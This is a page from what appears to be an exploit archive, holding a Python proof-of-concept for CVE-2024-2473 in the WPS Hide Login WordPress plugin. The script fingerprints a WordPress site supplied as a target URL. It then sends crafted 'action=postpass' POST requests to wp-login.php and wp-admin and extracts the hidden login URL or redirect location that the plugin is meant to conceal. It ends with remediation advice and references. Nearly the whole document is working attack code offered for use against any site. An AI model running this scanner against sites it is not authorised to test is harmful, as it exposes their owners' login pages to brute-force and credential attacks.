5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-2473.py PY
#!/usr/bin/python3
"""
CVE-2024-2473 - WPS Hide Login <= 1.9.15.2 | Login Page Disclosure Scanner
Coded by Venexy | https://github.com/m4xsec
"""

import argparse
import re
import sys
import time
import requests
from datetime import datetime
from urllib.parse import urlparse


requests.packages.urllib3.disable_warnings()



class C:
    RESET   = "\033[0m"
    BOLD    = "\033[1m"
    DIM     = "\033[2m"

    RED     = "\033[91m"
    GREEN   = "\033[92m"
    YELLOW  = "\033[93m"
    BLUE    = "\033[94m"
    MAGENTA = "\033[95m"
    CYAN    = "\033[96m"
    WHITE   = "\033[97m"
    ORANGE  = "\033[38;5;208m"
    PINK    = "\033[38;5;205m"
    LIME    = "\033[38;5;154m"

    B_RED   = "\033[41m"
    B_GREEN = "\033[42m"


def print_banner():
    print(f"""
{C.CYAN}{C.BOLD} ██╗    ██╗██████╗ ███████╗    ██╗  ██╗██╗██████╗ ███████╗
 ██║    ██║██╔══██╗██╔════╝    ██║  ██║██║██╔══██╗██╔════╝
 ██║ █╗ ██║██████╔╝███████╗    ███████║██║██║  ██║█████╗
 ██║███╗██║██╔═══╝ ╚════██║    ██╔══██║██║██║  ██║██╔══╝
 ╚███╔███╔╝██║     ███████║    ██║  ██║██║██████╔╝███████╗
  ╚══╝╚══╝ ╚═╝     ╚══════╝    ╚═╝  ╚═╝╚═╝╚═════╝ ╚══════╝{C.RESET}

{C.YELLOW}{C.BOLD}          ██╗      ██████╗  ██████╗ ██╗███╗   ██╗
          ██║     ██╔═══██╗██╔════╝ ██║████╗  ██║
          ██║     ██║   ██║██║  ███╗██║██╔██╗ ██║
          ██║     ██║   ██║██║   ██║██║██║╚██╗██║
          ███████╗╚██████╔╝╚██████╔╝██║██║ ╚████║
          ╚══════╝ ╚═════╝  ╚═════╝ ╚═╝╚═╝  ╚═══╝{C.RESET}

{C.WHITE}{C.BOLD}  ┌─────────────────────────────────────────────────────────────┐
  │  {C.CYAN}CVE-2024-2473{C.WHITE}  •  {C.YELLOW}WPS Hide Login Page Identifier{C.WHITE}           │
  │  {C.DIM}Coded by {C.PINK}Venexy{C.WHITE} {C.DIM}|{C.WHITE} {C.BLUE}https://github.com/m4xsec{C.WHITE}              │
  └─────────────────────────────────────────────────────────────┘{C.RESET}
""")



def ts() -> str:
    return f"{C.DIM}[{datetime.now().strftime('%H:%M:%S')}]{C.RESET}"

def log_info(msg: str):
    print(f"  {ts()} {C.BLUE}{C.BOLD}[*]{C.RESET} {msg}")

def log_ok(msg: str):
    print(f"  {ts()} {C.GREEN}{C.BOLD}[+]{C.RESET} {msg}")

def log_warn(msg: str):
    print(f"  {ts()} {C.YELLOW}{C.BOLD}[!]{C.RESET} {msg}")

def log_err(msg: str):
    print(f"  {ts()} {C.RED}{C.BOLD}[-]{C.RESET} {msg}")

def log_vuln(msg: str):
    print(f"  {ts()} {C.RED}{C.BOLD}[VULN]{C.RESET} {msg}")

def separator(char: str = "-", width: int = 65, color: str = C.DIM):
    print(f"  {color}{char * width}{C.RESET}")



def normalize_url(url: str) -> str:
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    return url.rstrip("/")


def is_wordpress(base_url: str, session: requests.Session, timeout: int) -> bool:
    try:
        resp = session.get(base_url, timeout=timeout, verify=False, allow_redirects=True)
        return "wp-content" in resp.text or "wp-includes" in resp.text
    except requests.RequestException as exc:
        log_err(f"Connection error: {exc}")
        return False


def check_wp_login(base_url: str, session: requests.Session, timeout: int) -> dict:
    url  = f"{base_url}/wp-login.php?action=postpass"
    data = "action=lostpassword&post_password=test"
    result = {
        "vulnerable": False,
        "hidden_login_url": None,
        "url": url,
        "status_code": None,
    }
    try:
        resp = session.post(
            url, data=data,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=timeout, verify=False, allow_redirects=True,
        )
        result["status_code"] = resp.status_code

        status_ok  = resp.status_code == 200
        has_form   = "lostpasswordform" in resp.text and "action=" in resp.text
        no_default = "wp-login.php" not in resp.text

        if status_ok and has_form and no_default:
            result["vulnerable"] = True
            match = re.search(r'<form[^>]+action="([^"]+lostpassword[^"]*)"', resp.text)
            if match:
                result["hidden_login_url"] = match.group(1)

    except requests.RequestException as exc:
        log_warn(f"Request failed ({url}): {exc}")

    return result


def check_wp_admin(base_url: str, session: requests.Session, timeout: int) -> dict:
    url    = f"{base_url}/wp-admin/?action=postpass"
    result = {
        "vulnerable": False,
        "redirect_location": None,
        "url": url,
        "status_code": None,
    }
    try:
        resp = session.post(
            url,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=timeout, verify=False, allow_redirects=False,
        )
        result["status_code"] = resp.status_code
        location = resp.headers.get("Location", "")

        if (resp.status_code == 302 and location and
                ("reauth=1" in location or "/login" in location)):
            result["vulnerable"] = True
            result["redirect_location"] = location

    except requests.RequestException as exc:
        log_warn(f"Request failed ({url}): {exc}")

    return result



def scan(target: str, timeout: int = 10) -> None:
    base_url = normalize_url(target)
    hostname = urlparse(base_url).netloc

    session = requests.Session()
    session.headers.update({
        "User-Agent": (
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
            "AppleWebKit/537.36 (KHTML, like Gecko) "
            "Chrome/120.0.0.0 Safari/537.36"
        ),
        "Host": hostname,
    })

    print_banner()


    separator("=", color=C.CYAN)
    print(f"  {C.BOLD}{C.WHITE}  TARGET  {C.RESET}  {C.CYAN}{base_url}{C.RESET}")
    print(f"  {C.BOLD}{C.WHITE}  TIME    {C.RESET}  {C.DIM}{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}{C.RESET}")
    print(f"  {C.BOLD}{C.WHITE}  TIMEOUT {C.RESET}  {C.DIM}{timeout}s{C.RESET}")
    separator("=", color=C.CYAN)
    print()


    log_info(f"Phase 1 {C.DIM}|{C.RESET} Fingerprinting WordPress installation ...")
    time.sleep(0.3)

    if not is_wordpress(base_url, session, timeout):
        log_err("WordPress not detected on target. Aborting scan.")
        print()
        separator()
        sys.exit(0)

    log_ok(f"WordPress {C.GREEN}confirmed{C.RESET} — {C.CYAN}{base_url}{C.RESET}")
    print()
    separator()
    print()


    log_info(f"Phase 2 {C.DIM}|{C.RESET} Testing CVE-2024-2473 bypass vectors ...")
    print()


    log_info(f"Vector {C.YELLOW}A{C.RESET} {C.DIM}|{C.RESET} POST {C.DIM}/wp-login.php?action=postpass{C.RESET}")
    r1 = check_wp_login(base_url, session, timeout)
    sc_color = C.GREEN if r1["status_code"] == 200 else C.RED
    verdict  = f"{C.GREEN}MATCH{C.RESET}" if r1["vulnerable"] else f"{C.DIM}NO MATCH{C.RESET}"
    print(f"         {C.DIM}+-{C.RESET} Status : {sc_color}{r1['status_code']}{C.RESET}   "
          f"Result : {verdict}")
    time.sleep(0.4)
    print()

    # Vector B
    log_info(f"Vector {C.YELLOW}B{C.RESET} {C.DIM}|{C.RESET} POST {C.DIM}/wp-admin/?action=postpass{C.RESET}")
    r2 = check_wp_admin(base_url, session, timeout)
    sc_color = C.GREEN if r2["status_code"] == 302 else C.RED
    verdict  = f"{C.GREEN}MATCH{C.RESET}" if r2["vulnerable"] else f"{C.DIM}NO MATCH{C.RESET}"
    print(f"         {C.DIM}+-{C.RESET} Status : {sc_color}{r2['status_code']}{C.RESET}   "
          f"Result : {verdict}")
    time.sleep(0.4)

    print()
    separator()
    print()


    if r1["vulnerable"] or r2["vulnerable"]:


        print(f"  {C.RED}{C.BOLD}{'#' * 63}{C.RESET}")
        print(f"  {C.RED}{C.BOLD}##  {'VULNERABILITY CONFIRMED  --  CVE-2024-2473':^57}  ##{C.RESET}")
        print(f"  {C.RED}{C.BOLD}{'#' * 63}{C.RESET}")
        print()


        meta = [
            ("Plugin",      "WPS Hide Login <= 1.9.15.2"),
            ("Severity",    f"{C.YELLOW}Medium{C.RESET} (CVSS 5.3 / EPSS 93rd percentile)"),
            ("CWE",         "CWE-200 — Exposure of Sensitive Information"),
            ("CVSS Vector", "AV:N / AC:L / PR:N / UI:N / S:U / C:L / I:N / A:N"),
        ]
        for label, value in meta:
            print(f"  {C.DIM}  {label:<14}{C.RESET} {C.WHITE}{value}{C.RESET}")

        print()
        separator("-")
        print()

        # Vector A findings
        if r1["vulnerable"]:
            log_vuln(
                f"Bypass confirmed via {C.CYAN}/wp-login.php?action=postpass{C.RESET}"
            )
            print()

            if r1["hidden_login_url"]:

                url_len   = len(r1["hidden_login_url"]) + 10
                box_width = max(url_len, 52)
                border    = "=" * box_width

                print(f"  {C.LIME}{C.BOLD}  {border}{C.RESET}")
                print(f"  {C.LIME}{C.BOLD}  {'  HIDDEN LOGIN URL DISCOVERED  ':^{box_width}}{C.RESET}")
                print(f"  {C.LIME}{C.BOLD}  {border}{C.RESET}")
                print()
                print(f"  {C.WHITE}{C.BOLD}  >>  {C.LIME}{C.BOLD}{r1['hidden_login_url']}{C.RESET}")
                print()
                print(f"  {C.LIME}{C.BOLD}  {border}{C.RESET}")
                print()
                print(f"  {C.DIM}  The WPS Hide Login plugin has relocated the default")
                print(f"  wp-login.php to a custom URL. The action=postpass bypass")
                print(f"  exposes this hidden address to unauthenticated attackers.{C.RESET}")
                print()

        # Vector B findings
        if r2["vulnerable"]:
            log_vuln(
                f"Bypass confirmed via {C.CYAN}/wp-admin/?action=postpass{C.RESET}"
            )
            print()
            if r2["redirect_location"]:
                loc_len   = len(r2["redirect_location"]) + 10
                box_width = max(loc_len, 52)
                border    = "=" * box_width

                print(f"  {C.LIME}{C.BOLD}  {border}{C.RESET}")
                print(f"  {C.LIME}{C.BOLD}  {'  REDIRECT LOCATION EXPOSED  ':^{box_width}}{C.RESET}")
                print(f"  {C.LIME}{C.BOLD}  {border}{C.RESET}")
                print()
                print(f"  {C.WHITE}{C.BOLD}  >>  {C.LIME}{C.BOLD}{r2['redirect_location']}{C.RESET}")
                print()
                print(f"  {C.LIME}{C.BOLD}  {border}{C.RESET}")
                print()

        separator("-")
        print()


        print(f"  {C.YELLOW}{C.BOLD}  REMEDIATION{C.RESET}")
        print(f"  {C.DIM}  +--{C.RESET} Update WPS Hide Login to version {C.GREEN}> 1.9.15.2{C.RESET}")
        print(f"  {C.DIM}  +--{C.RESET} Dashboard  ->  Plugins  ->  WPS Hide Login  ->  Update")
        print(f"  {C.DIM}  +--{C.RESET} {C.BLUE}https://wordpress.org/plugins/wps-hide-login/{C.RESET}")
        print()


        print(f"  {C.YELLOW}{C.BOLD}  REFERENCES{C.RESET}")
        print(f"  {C.DIM}  +--{C.RESET} {C.BLUE}https://nvd.nist.gov/vuln/detail/CVE-2024-2473{C.RESET}")
        print(f"  {C.DIM}  +--{C.RESET} {C.BLUE}https://www.wordfence.com/threat-intel/vulnerabilities/"
              f"wordpress-plugins/wps-hide-login{C.RESET}")
        print()

    else:
        separator("-", color=C.GREEN)
        print(f"  {C.GREEN}{C.BOLD}  {'TARGET IS NOT VULNERABLE':^61}{C.RESET}")
        separator("-", color=C.GREEN)
        print()
        log_ok("Neither bypass vector produced a positive match.")
        log_ok("Plugin may be absent, already patched, or differently configured.")
        print()

    separator("=", color=C.CYAN)
    print(
        f"  {C.DIM}  Scan completed at "
        f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}  |  "
        f"Coded by {C.PINK}Venexy{C.RESET}{C.DIM} | github.com/m4xsec{C.RESET}"
    )
    separator("=", color=C.CYAN)
    print()

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2024-2473 — WPS Hide Login Page Disclosure Scanner",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python CVE-2024-2473.py -u https://example.com
  python CVE-2024-2473.py -u http://192.168.1.10 --timeout 15

Coded by Venexy | https://github.com/m4xsec
        """,
    )
    parser.add_argument(
        "-u", "--url", required=True, metavar="URL",
        help="Target WordPress base URL  (e.g. https://example.com)",
    )
    parser.add_argument(
        "-t", "--timeout", type=int, default=10, metavar="SEC",
        help="HTTP request timeout in seconds  (default: 10)",
    )
    args = parser.parse_args()

    try:
        scan(args.url, args.timeout)
    except KeyboardInterrupt:
        print(f"\n\n  {C.YELLOW}[!]{C.RESET} Scan interrupted by user.\n")
        sys.exit(1)


if __name__ == "__main__":
    main()